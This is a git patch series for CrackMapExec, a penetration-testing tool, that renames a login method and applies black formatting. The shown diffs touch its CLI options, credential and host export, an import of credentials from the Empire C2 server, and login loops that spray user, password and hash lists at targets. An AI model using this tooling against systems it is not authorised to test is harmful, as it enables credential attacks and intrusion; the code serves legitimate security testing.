From 77c97a4afd934526b42e1ba4e8d696a74c784e2f Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 2 May 2023 08:52:27 -0400 Subject: [PATCH 01/76] rename plaintext_login --- cme/protocols/ldap/smbldap.py | 2 +- cme/protocols/smb.py | 2 +- cme/protocols/winrm.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/cme/protocols/ldap/smbldap.py b/cme/protocols/ldap/smbldap.py index 8f68cadd..292b2221 100644 --- a/cme/protocols/ldap/smbldap.py +++ b/cme/protocols/ldap/smbldap.py @@ -102,7 +102,7 @@ class LDAPConnect: ) return False - def plaintext_login(self, domain, username, password, ntlm_hash): + def auth_login(self, domain, username, password, ntlm_hash): lmhash = "" nthash = "" diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 02981d47..b225c22c 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -363,7 +363,7 @@ class smb(connection): aesKey=self.aesKey ) else: - connection = ldapco.plaintext_login( + connection = ldapco.auth_login( domain, username[0] if username else '', password[0] if password else '', diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 57343571..0e13e0a5 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -140,7 +140,7 @@ class winrm(connection): aesKey=self.aesKey ) else: - connection = ldapco.plaintext_login( + connection = ldapco.auth_login( domain, username[0] if username else '', password[0] if password else '', From 2be85b5da7ffa219adecdf301416ac15d05164a0 Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 2 May 2023 11:17:59 -0400 Subject: [PATCH 02/76] black formating --- build_collector.py | 20 +- cme/.hooks/hook-lsassy.py | 1 + cme/cli.py | 184 +- cme/cmedb.py | 242 +- cme/connection.py | 346 ++- cme/console.py | 5 +- cme/context.py | 4 +- cme/crackmapexec.py | 75 +- cme/first_run.py | 35 +- cme/helpers/bash.py | 2 +- cme/helpers/bloodhound.py | 39 +- cme/helpers/http.py | 20 +- cme/helpers/misc.py | 28 +- cme/helpers/msada_guids.py | 3700 ++++++++++++------------ cme/helpers/powershell.py | 397 ++- cme/loaders/moduleloader.py | 42 +- cme/loaders/protocolloader.py | 21 +- cme/logger.py | 84 +- cme/modules/IOXIDResolver.py | 24 +- cme/modules/MachineAccountQuota.py | 31 +- cme/modules/adcs.py | 85 +- cme/modules/bh_owned.py | 62 +- cme/modules/daclread.py | 504 ++-- cme/modules/dfscoerce.py | 92 +- cme/modules/drop_searchConnector-ms.py | 128 +- cme/modules/empire_exec.py | 68 +- cme/modules/enum_av.py | 465 ++- cme/modules/enum_dns.py | 35 +- cme/modules/example_module.py | 6 +- cme/modules/firefox.py | 23 +- cme/modules/get-desc-users.py | 112 +- cme/modules/get_netconnections.py | 31 +- cme/modules/gpp_autologin.py | 49 +- cme/modules/gpp_password.py | 108 +- cme/modules/groupmembership.py | 68 +- cme/modules/handlekatz.py | 95 +- cme/modules/hash_spider.py | 214 +- cme/modules/impersonate.py | 35 +- cme/modules/install_elevated.py | 58 +- cme/modules/keepass_discover.py | 72 +- cme/modules/keepass_trigger.py | 393 ++- cme/modules/laps.py | 77 +- cme/modules/ldap-checker.py | 178 +- cme/modules/lsassy_dump.py | 94 +- cme/modules/met_inject.py | 26 +- cme/modules/ms17-010.py | 413 ++- cme/modules/msol.py | 20 +- cme/modules/mssql_priv.py | 89 +- cme/modules/nanodump.py | 137 +- cme/modules/nopac.py | 19 +- cme/modules/ntdsutil.py | 183 +- cme/modules/ntlmv1.py | 15 +- cme/modules/petitpotam.py | 214 +- cme/modules/procdump.py | 168 +- cme/modules/rdcman.py | 124 +- cme/modules/rdp.py | 62 +- cme/modules/reg-query.py | 126 +- cme/modules/runasppl.py | 1 + cme/modules/scan-network.py | 330 ++- cme/modules/scuffy.py | 51 +- cme/modules/shadowcoerce.py | 202 +- cme/modules/slinky.py | 48 +- cme/modules/spider_plus.py | 156 +- cme/modules/spooler.py | 103 +- cme/modules/subnets.py | 139 +- cme/modules/teams_localdb.py | 38 +- cme/modules/test_connection.py | 23 +- cme/modules/uac.py | 21 +- cme/modules/user_desc.py | 74 +- cme/modules/veeam_dump.py | 74 +- cme/modules/wdigest.py | 81 +- cme/modules/web_delivery.py | 33 +- cme/modules/webdav.py | 21 +- cme/modules/whoami.py | 120 +- cme/modules/winscp_dump.py | 256 +- cme/modules/wireless.py | 42 +- cme/modules/zerologon.py | 69 +- cme/parsers/ip.py | 14 +- cme/parsers/nessus.py | 24 +- cme/parsers/nmap.py | 31 +- cme/paths.py | 24 +- cme/protocols/ftp.py | 31 +- cme/protocols/ftp/database.py | 33 +- cme/protocols/ftp/db_navigator.py | 9 +- cme/protocols/ldap.py | 807 ++++-- cme/protocols/ldap/bloodhound.py | 107 +- cme/protocols/ldap/database.py | 33 +- cme/protocols/ldap/db_navigator.py | 9 +- cme/protocols/ldap/gmsa.py | 58 +- cme/protocols/ldap/kerberos.py | 260 +- cme/protocols/ldap/smbldap.py | 74 +- cme/protocols/mssql.py | 276 +- cme/protocols/mssql/database.py | 145 +- cme/protocols/mssql/db_navigator.py | 58 +- cme/protocols/mssql/mssqlexec.py | 50 +- cme/protocols/rdp.py | 350 ++- cme/protocols/rdp/database.py | 31 +- cme/protocols/rdp/db_navigator.py | 9 +- cme/protocols/smb.py | 1019 +++++-- cme/protocols/smb/atexec.py | 65 +- cme/protocols/smb/database.py | 482 ++- cme/protocols/smb/db_navigator.py | 433 ++- cme/protocols/smb/firefox.py | 179 +- cme/protocols/smb/mmcexec.py | 147 +- cme/protocols/smb/passpol.py | 126 +- cme/protocols/smb/remotefile.py | 21 +- cme/protocols/smb/samrfunc.py | 114 +- cme/protocols/smb/samruser.py | 77 +- cme/protocols/smb/smbexec.py | 137 +- cme/protocols/smb/smbspider.py | 152 +- cme/protocols/smb/wmiexec.py | 86 +- cme/protocols/ssh.py | 91 +- cme/protocols/ssh/database.py | 250 +- cme/protocols/ssh/db_navigator.py | 126 +- cme/protocols/vnc.py | 79 +- cme/protocols/vnc/database.py | 32 +- cme/protocols/vnc/db_navigator.py | 9 +- cme/protocols/winrm.py | 320 +- cme/protocols/winrm/database.py | 202 +- cme/protocols/winrm/db_navigator.py | 101 +- cme/servers/http.py | 53 +- cme/servers/smb.py | 24 +- tests/e2e_test.py | 40 +- tests/test_smb_database.py | 19 +- 124 files changed, 11469 insertions(+), 7178 deletions(-) diff --git a/build_collector.py b/build_collector.py index d075582f..e8275cb2 100644 --- a/build_collector.py +++ b/build_collector.py @@ -10,6 +10,7 @@ from datetime import datetime from pathlib import Path from shiv.bootstrap import Environment + # from distutils.ccompiler import new_compiler from shiv.builder import create_archive from shiv.cli import __version__ as VERSION @@ -28,17 +29,26 @@ def build_cme(): os.mkdir("build") os.mkdir("bin") shutil.copytree("cme", "build/cme") - + except Exception as e: print(e) return subprocess.run( - [sys.executable, "-m", "pip", "install", "-r", "requirements.txt" ,"-t", "build"], - check=True + [ + sys.executable, + "-m", + "pip", + "install", + "-r", + "requirements.txt", + "-t", + "build", + ], + check=True, ) - #[shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")] + # [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")] [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")] env = Environment( @@ -60,6 +70,7 @@ def build_cme(): True, ) + def build_cmedb(): print("building CMEDB") env = Environment( @@ -81,6 +92,7 @@ def build_cmedb(): True, ) + if __name__ == "__main__": try: build_cme() diff --git a/cme/.hooks/hook-lsassy.py b/cme/.hooks/hook-lsassy.py index 7446ae57..305489cc 100644 --- a/cme/.hooks/hook-lsassy.py +++ b/cme/.hooks/hook-lsassy.py @@ -2,4 +2,5 @@ # -*- coding: utf-8 -*- from PyInstaller.utils.hooks import collect_all + datas, binaries, hiddenimports = collect_all("lsassy") diff --git a/cme/cli.py b/cme/cli.py index e9f76e1a..cfe53311 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -10,14 +10,14 @@ from termcolor import colored def gen_cli_args(): - VERSION = "5.4.6" CODENAME = "Bruce Wayne" p_loader = ProtocolLoader() protocols = p_loader.get_protocols() - parser = argparse.ArgumentParser(description=f""" + parser = argparse.ArgumentParser( + description=f""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' @@ -33,49 +33,173 @@ def gen_cli_args(): {highlight('Version', 'red')} : {highlight(VERSION)} {highlight('Codename', 'red')}: {highlight(CODENAME)} -""", formatter_class=RawTextHelpFormatter) +""", + formatter_class=RawTextHelpFormatter, + ) - parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)") - parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)") - parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)") - parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan") + parser.add_argument( + "-t", + type=int, + dest="threads", + default=100, + help="set how many concurrent threads to use (default: 100)", + ) + parser.add_argument( + "--timeout", + default=None, + type=int, + help="max timeout in seconds of each thread (default: None)", + ) + parser.add_argument( + "--jitter", + metavar="INTERVAL", + type=str, + help="sets a random delay between each connection (default: None)", + ) + parser.add_argument( + "--no-progress", + action="store_true", + help="Not displaying progress bar during scan", + ) parser.add_argument("--darrell", action="store_true", help="give Darrell a hand") parser.add_argument("--verbose", action="store_true", help="enable verbose output") - parser.add_argument("--debug", action="store_true", help="enable debug level information") + parser.add_argument( + "--debug", action="store_true", help="enable debug level information" + ) parser.add_argument("--version", action="store_true", help="Display CME version") - subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols") + subparsers = parser.add_subparsers( + title="protocols", dest="protocol", description="available protocols" + ) std_parser = argparse.ArgumentParser(add_help=False) - std_parser.add_argument("target", nargs="+", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") - std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help='database credential ID(s) to use for authentication') - std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames") - std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords") - std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication") - std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") - std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file") - std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") - std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + std_parser.add_argument( + "target", + nargs="+", + type=str, + help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)", + ) + std_parser.add_argument( + "-id", + metavar="CRED_ID", + nargs="+", + default=[], + type=str, + dest="cred_id", + help="database credential ID(s) to use for authentication", + ) + std_parser.add_argument( + "-u", + metavar="USERNAME", + dest="username", + nargs="+", + default=[], + help="username(s) or file(s) containing usernames", + ) + std_parser.add_argument( + "-p", + metavar="PASSWORD", + dest="password", + nargs="+", + default=[], + help="password(s) or file(s) containing passwords", + ) + std_parser.add_argument( + "-k", "--kerberos", action="store_true", help="Use Kerberos authentication" + ) + std_parser.add_argument( + "--use-kcache", + action="store_true", + help="Use Kerberos authentication from ccache file (KRB5CCNAME)", + ) + std_parser.add_argument( + "--log", metavar="LOG", help="Export result into a custom file" + ) + std_parser.add_argument( + "--aesKey", + metavar="AESKEY", + nargs="+", + help="AES key to use for Kerberos Authentication (128 or 256 bits)", + ) + std_parser.add_argument( + "--kdcHost", + metavar="KDCHOST", + help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter", + ) fail_group = std_parser.add_mutually_exclusive_group() - fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts") - fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username") - fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host") + fail_group.add_argument( + "--gfail-limit", + metavar="LIMIT", + type=int, + help="max number of global failed login attempts", + ) + fail_group.add_argument( + "--ufail-limit", + metavar="LIMIT", + type=int, + help="max number of failed login attempts per username", + ) + fail_group.add_argument( + "--fail-limit", + metavar="LIMIT", + type=int, + help="max number of failed login attempts per host", + ) module_parser = argparse.ArgumentParser(add_help=False) mgroup = module_parser.add_mutually_exclusive_group() - mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use") - module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options") - module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules") - module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options") - module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)") - module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)") - module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port") - module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)") + mgroup.add_argument( + "-M", "--module", action="append", metavar="MODULE", help="module to use" + ) + module_parser.add_argument( + "-o", + metavar="MODULE_OPTION", + nargs="+", + default=[], + dest="module_options", + help="module options", + ) + module_parser.add_argument( + "-L", "--list-modules", action="store_true", help="list available modules" + ) + module_parser.add_argument( + "--options", + dest="show_module_options", + action="store_true", + help="display module options", + ) + module_parser.add_argument( + "--server", + choices={"http", "https"}, + default="https", + help="use the selected server (default: https)", + ) + module_parser.add_argument( + "--server-host", + type=str, + default="0.0.0.0", + metavar="HOST", + help="IP to bind the server to (default: 0.0.0.0)", + ) + module_parser.add_argument( + "--server-port", + metavar="PORT", + type=int, + help="start the server on the specified port", + ) + module_parser.add_argument( + "--connectback-host", + type=str, + metavar="CHOST", + help="IP for the remote system to connect back to (default: same as server-host)", + ) for protocol in protocols.keys(): protocol_object = p_loader.load_protocol(protocols[protocol]["path"]) - subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) + subparsers = getattr(protocol_object, protocol).proto_args( + subparsers, std_parser, module_parser + ) if len(sys.argv) == 1: parser.print_help() diff --git a/cme/cmedb.py b/cme/cmedb.py index cf8b5cea..49c0a55a 100644 --- a/cme/cmedb.py +++ b/cme/cmedb.py @@ -25,9 +25,7 @@ class UserExitedProto(Exception): def create_db_engine(db_path): db_engine = create_engine( - f"sqlite:///{db_path}", - isolation_level="AUTOCOMMIT", - future=True + f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True ) return db_engine @@ -45,8 +43,14 @@ def write_csv(filename, headers, entries): """ Writes a CSV file with the provided parameters. """ - with open(os.path.expanduser(filename), 'w') as export_file: - csv_file = csv.writer(export_file, delimiter=";", quoting=csv.QUOTE_ALL, lineterminator='\n', escapechar="\\") + with open(os.path.expanduser(filename), "w") as export_file: + csv_file = csv.writer( + export_file, + delimiter=";", + quoting=csv.QUOTE_ALL, + lineterminator="\n", + escapechar="\\", + ) csv_file.writerow(headers) for entry in entries: csv_file.writerow(entry) @@ -67,7 +71,7 @@ def complete_import(text, line): Tab-complete 'import' commands """ commands = ["empire", "metasploit"] - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -76,8 +80,16 @@ def complete_export(text, line): """ Tab-complete 'creds' commands. """ - commands = ["creds", "plaintext", "hashes", "shares", "local_admins", "signing", "keys"] - mline = line.partition(' ')[2] + commands = [ + "creds", + "plaintext", + "hashes", + "shares", + "local_admins", + "signing", + "keys", + ] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -119,18 +131,27 @@ class DatabaseNavigator(cmd.Cmd): # Users if command == "creds": if len(line) < 3: - print("[-] invalid arguments, export creds ") + print( + "[-] invalid arguments, export creds " + ) return - + filename = line[2] creds = self.db.get_credentials() - csv_header = ["id", "domain", "username", "password", "credtype", "pillaged_from"] - + csv_header = [ + "id", + "domain", + "username", + "password", + "credtype", + "pillaged_from", + ] + if line[1].lower() == "simple": write_csv(filename, csv_header, creds) elif line[1].lower() == "detailed": formatted_creds = [] - + for cred in creds: entry = [ cred[0], # ID @@ -147,16 +168,39 @@ class DatabaseNavigator(cmd.Cmd): write_csv(filename, csv_header, formatted_creds) else: print(f"[-] No such export option: {line[1]}") - return - print('[+] Creds exported') + return + print("[+] Creds exported") # Hosts elif command == "hosts": if len(line) < 3: - print("[-] invalid arguments, export hosts ") + print( + "[-] invalid arguments, export hosts " + ) return - csv_header_simple = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing"] - csv_header_detailed = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing", "spooler", "zerologon", "petitpotam"] + csv_header_simple = [ + "id", + "ip", + "hostname", + "domain", + "os", + "dc", + "smbv1", + "signing", + ] + csv_header_detailed = [ + "id", + "ip", + "hostname", + "domain", + "os", + "dc", + "smbv1", + "signing", + "spooler", + "zerologon", + "petitpotam", + ] filename = line[2] if line[1].lower() == "simple": @@ -173,18 +217,20 @@ class DatabaseNavigator(cmd.Cmd): write_list(filename, signing_hosts) else: print(f"[-] No such export option: {line[1]}") - return - print('[+] Hosts exported') + return + print("[+] Hosts exported") # Shares elif command == "shares": if len(line) < 3: - print("[-] invalid arguments, export shares ") + print( + "[-] invalid arguments, export shares " + ) return - + shares = self.db.get_shares() csv_header = ["id", "host", "userid", "name", "remark", "read", "write"] filename = line[2] - + if line[1].lower() == "simple": write_csv(filename, csv_header, shares) print("[+] shares exported") @@ -193,60 +239,72 @@ class DatabaseNavigator(cmd.Cmd): formatted_shares = [] for share in shares: user = self.db.get_users(share[2])[0] - + entry = [ - share[0], # shareID - self.db.get_hosts(share[1])[0][2], # hosts - f"{user[1]}\{user[2]}", # userID - share[3], # name - share[4], # remark - bool(share[5]), # read - bool(share[6]) # write + share[0], # shareID + self.db.get_hosts(share[1])[0][2], # hosts + f"{user[1]}\{user[2]}", # userID + share[3], # name + share[4], # remark + bool(share[5]), # read + bool(share[6]), # write ] formatted_shares.append(entry) write_csv(filename, csv_header, formatted_shares) else: print(f"[-] No such export option: {line[1]}") - return + return print("[+] Shares exported") # Local Admin elif command == "local_admins": if len(line) < 3: - print("[-] invalid arguments, export local_admins ") + print( + "[-] invalid arguments, export local_admins " + ) return # These values don't change between simple and detailed local_admins = self.db.get_admin_relations() csv_header = ["id", "userid", "host"] filename = line[2] - + if line[1].lower() == "simple": write_csv(filename, csv_header, local_admins) elif line[1].lower() == "detailed": formatted_local_admins = [] for entry in local_admins: user = self.db.get_users(filter_term=entry[1])[0] - + formatted_entry = [ - entry[0], # Entry ID - f"{user[1]}/{user[2]}", # DOMAIN/Username - self.db.get_hosts(filter_term=entry[2])[0][2] # Hostname + entry[0], # Entry ID + f"{user[1]}/{user[2]}", # DOMAIN/Username + self.db.get_hosts(filter_term=entry[2])[0][2], # Hostname ] # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_local_admins.append(formatted_entry) write_csv(filename, csv_header, formatted_local_admins) else: print(f"[-] No such export option: {line[1]}") - return - print('[+] Local Admins exported') + return + print("[+] Local Admins exported") elif command == "dpapi": if len(line) < 3: - print("[-] invalid arguments, export dpapi ") + print( + "[-] invalid arguments, export dpapi " + ) return # These values don't change between simple and detailed dpapi_secrets = self.db.get_dpapi_secrets() - csv_header = ["id", "host", "dpapi_type", "windows_user", "username", "password", "url"] + csv_header = [ + "id", + "host", + "dpapi_type", + "windows_user", + "username", + "password", + "url", + ] filename = line[2] if line[1].lower() == "simple": @@ -254,23 +312,22 @@ class DatabaseNavigator(cmd.Cmd): elif line[1].lower() == "detailed": formatted_dpapi_secret = [] for entry in dpapi_secrets: - formatted_entry = [ - entry[0], # Entry ID - self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname - entry[2], # DPAPI type - entry[3], # Windows User - entry[4], # Username - entry[5], # Password - entry[6], # URL + entry[0], # Entry ID + self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname + entry[2], # DPAPI type + entry[3], # Windows User + entry[4], # Username + entry[5], # Password + entry[6], # URL ] # Can't modify a tuple which is what self.db.get_admin_relations() returns formatted_dpapi_secret.append(formatted_entry) write_csv(filename, csv_header, formatted_dpapi_secret) else: - print('[-] No such export option: %s' % line[1]) - return - print('[+] DPAPI secrets exported') + print("[-] No such export option: %s" % line[1]) + return + print("[+] DPAPI secrets exported") elif command == "keys": if line[1].lower() == "all": keys = self.db.get_keys() @@ -280,7 +337,9 @@ class DatabaseNavigator(cmd.Cmd): filename = line[2] write_list(filename, writable_keys) else: - print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi") + print( + "[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi" + ) def help_export(self): help_string = """ @@ -298,30 +357,47 @@ class DatabaseNavigator(cmd.Cmd): if not line: return - if line == 'empire': - headers = { - 'Content-Type': 'application/json' - } + if line == "empire": + headers = {"Content-Type": "application/json"} # Pull the username and password from the config file payload = { - 'username': self.config.get('Empire', 'username'), - 'password': self.config.get('Empire', 'password') + "username": self.config.get("Empire", "username"), + "password": self.config.get("Empire", "password"), } # Pull the host and port from the config file base_url = f"https://{self.config.get('Empire', 'api_host')}:{self.config.get('Empire', 'api_port')}" try: - r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) + r = requests.post( + base_url + "/api/admin/login", + json=payload, + headers=headers, + verify=False, + ) if r.status_code == 200: - token = r.json()['token'] - url_params = {'token': token} - r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False) + token = r.json()["token"] + url_params = {"token": token} + r = requests.get( + base_url + "/api/creds", + headers=headers, + params=url_params, + verify=False, + ) creds = r.json() - for cred in creds['creds']: - if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'): + for cred in creds["creds"]: + if ( + cred["credtype"] == "token" + or cred["credtype"] == "krbtgt" + or cred["username"].endswith("$") + ): continue - self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password']) + self.db.add_credential( + cred["credtype"], + cred["domain"], + cred["username"], + cred["password"], + ) print("[+] Empire credential import successful") else: print("[-] Error authenticating to Empire's RESTful API server!") @@ -345,30 +421,32 @@ class CMEDBMenu(cmd.Cmd): self.p_loader = ProtocolLoader() self.protocols = self.p_loader.get_protocols() - self.workspace = self.config.get('CME', 'workspace') + self.workspace = self.config.get("CME", "workspace") self.do_workspace(self.workspace) - self.db = self.config.get('CME', 'last_used_db') + self.db = self.config.get("CME", "last_used_db") if self.db: self.do_proto(self.db) def write_configfile(self): - with open(self.config_path, 'w') as configfile: + with open(self.config_path, "w") as configfile: self.config.write(configfile) def do_proto(self, proto): if not proto: return - proto_db_path = os.path.join(WORKSPACE_DIR, self.workspace, proto + '.db') + proto_db_path = os.path.join(WORKSPACE_DIR, self.workspace, proto + ".db") if os.path.exists(proto_db_path): self.conn = create_db_engine(proto_db_path) - db_nav_object = self.p_loader.load_protocol(self.protocols[proto]['nvpath']) - db_object = self.p_loader.load_protocol(self.protocols[proto]['dbpath']) - self.config.set('CME', 'last_used_db', proto) + db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"]) + db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"]) + self.config.set("CME", "last_used_db", proto) self.write_configfile() try: - proto_menu = getattr(db_nav_object, 'navigator')(self, getattr(db_object, 'database')(self.conn), proto) + proto_menu = getattr(db_nav_object, "navigator")( + self, getattr(db_object, "database")(self.conn), proto + ) proto_menu.cmdloop() except UserExitedProto: pass @@ -384,25 +462,25 @@ class CMEDBMenu(cmd.Cmd): def do_workspace(self, line): line = line.strip() if not line: - subcommand = '' + subcommand = "" self.help_workspace() else: subcommand = line.split()[0] - if subcommand == 'create': + if subcommand == "create": new_workspace = line.split()[1].strip() print(f"[*] Creating workspace '{new_workspace}'") self.create_workspace(new_workspace, self.p_loader, self.protocols) self.do_workspace(new_workspace) - elif subcommand == 'list': + elif subcommand == "list": print("[*] Enumerating Workspaces") for workspace in os.listdir(os.path.join(WORKSPACE_DIR)): if workspace == self.workspace: - print("==> "+workspace) + print("==> " + workspace) else: print(workspace) elif os.path.exists(os.path.join(WORKSPACE_DIR, line)): - self.config.set('CME', 'workspace', line) + self.config.set("CME", "workspace", line) self.write_configfile() self.workspace = line self.prompt = f"cmedb ({line}) > " @@ -473,7 +551,9 @@ def initialize_db(logger): conn = sqlite3.connect(proto_db_path) c = conn.cursor() # try to prevent some weird sqlite I/O errors - c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring + c.execute( + "PRAGMA journal_mode = OFF" + ) # could try setting to PERSIST if DB corruption starts occurring c.execute("PRAGMA foreign_keys = 1") # set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash c.execute("PRAGMA busy_timeout = 5000") diff --git a/cme/connection.py b/cme/connection.py index 4fa9373c..8e1504dc 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -21,14 +21,26 @@ user_failed_logins = {} def gethost_addrinfo(hostname): try: - for res in socket.getaddrinfo(hostname, None, socket.AF_INET6, - socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME): + for res in socket.getaddrinfo( + hostname, + None, + socket.AF_INET6, + socket.SOCK_DGRAM, + socket.IPPROTO_IP, + socket.AI_CANONNAME, + ): af, socktype, proto, canonname, sa = res except socket.gaierror: - for res in socket.getaddrinfo(hostname, None, socket.AF_INET, - socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME): + for res in socket.getaddrinfo( + hostname, + None, + socket.AF_INET, + socket.SOCK_DGRAM, + socket.IPPROTO_IP, + socket.AI_CANONNAME, + ): af, socktype, proto, canonname, sa = res - if canonname == '': + if canonname == "": return sa[0] return canonname @@ -38,6 +50,7 @@ def requires_admin(func): if self.admin_privs is False: return return func(self, *args, **kwargs) + return wraps(func)(_decorator) @@ -82,7 +95,9 @@ class connection(object): try: self.proto_flow() except Exception as e: - self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}") + self.logger.exception( + f"Exception while calling proto_flow() on target {self.host}: {e}" + ) @staticmethod def proto_args(std_parser, module_parser): @@ -103,7 +118,16 @@ class connection(object): def check_if_admin(self): return - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): return def plaintext_login(self, domain, username, password): @@ -140,7 +164,7 @@ class connection(object): "module_name": module.name.upper(), "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, }, ) @@ -149,7 +173,9 @@ class connection(object): context.localip = self.local_ip if hasattr(module, "on_request") or hasattr(module, "has_response"): - self.logger.debug(f"Module {module.name} has on_request or has_response methods") + self.logger.debug( + f"Module {module.name} has on_request or has_response methods" + ) self.server.connection = self self.server.context.localip = self.local_ip @@ -161,7 +187,10 @@ class connection(object): self.logger.debug(f"Module {module.name} has on_admin_login method") module.on_admin_login(context, self) - if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"): + if ( + not hasattr(module, "on_request") + and not hasattr(module, "has_response") + ) and hasattr(module, "on_shutdown"): self.logger.debug(f"Module {module.name} has on_shutdown method") module.on_shutdown(context, self) @@ -207,12 +236,21 @@ class connection(object): c_id, username, password, cred_type = cred if cred_type == "key": key_data = self.db.get_keys(cred_id=cred_id)[0].data - if self.plaintext_login(username, password, private_key=key_data): + if self.plaintext_login( + username, password, private_key=key_data + ): return True else: # will probably need to add additional checks here for each protocol, but this was initially # for SMB - c_id, domain, username, password, cred_type, pillaged_from = cred + ( + c_id, + domain, + username, + password, + cred_type, + pillaged_from, + ) = cred if cred_type and password: if not domain: @@ -223,15 +261,35 @@ class connection(object): elif self.args.domain: domain = self.args.domain - if cred_type == "hash" and not self.over_fail_limit(username): + if cred_type == "hash" and not self.over_fail_limit( + username + ): if self.args.kerberos: - if self.kerberos_login(domain, username, "", password, "", self.kdcHost, False): + if self.kerberos_login( + domain, + username, + "", + password, + "", + self.kdcHost, + False, + ): return True elif self.hash_login(domain, username, password): return True - elif cred_type == "plaintext" and not self.over_fail_limit(username): + elif cred_type == "plaintext" and not self.over_fail_limit( + username + ): if self.args.kerberos: - if self.kerberos_login(domain, username, password, "", "", self.kdcHost, False): + if self.kerberos_login( + domain, + username, + password, + "", + "", + self.kdcHost, + False, + ): return True elif self.plaintext_login(domain, username, password): return True @@ -241,7 +299,9 @@ class connection(object): with sem: username = self.args.username[0] if len(self.args.username) else "" password = self.args.password[0] if len(self.args.password) else "" - self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True) + self.kerberos_login( + self.domain, username, password, "", "", self.kdcHost, True + ) return True for user in self.args.username: if isfile(user): @@ -258,51 +318,71 @@ class connection(object): with open(ntlm_hash, "r") as ntlm_hash_file: if not self.args.no_bruteforce: for f_hash in ntlm_hash_file: - if not self.over_fail_limit(usr.strip()): + if not self.over_fail_limit( + usr.strip() + ): if self.args.kerberos: if self.kerberos_login( - self.domain, - usr.strip(), - "", - f_hash.strip(), - "", - 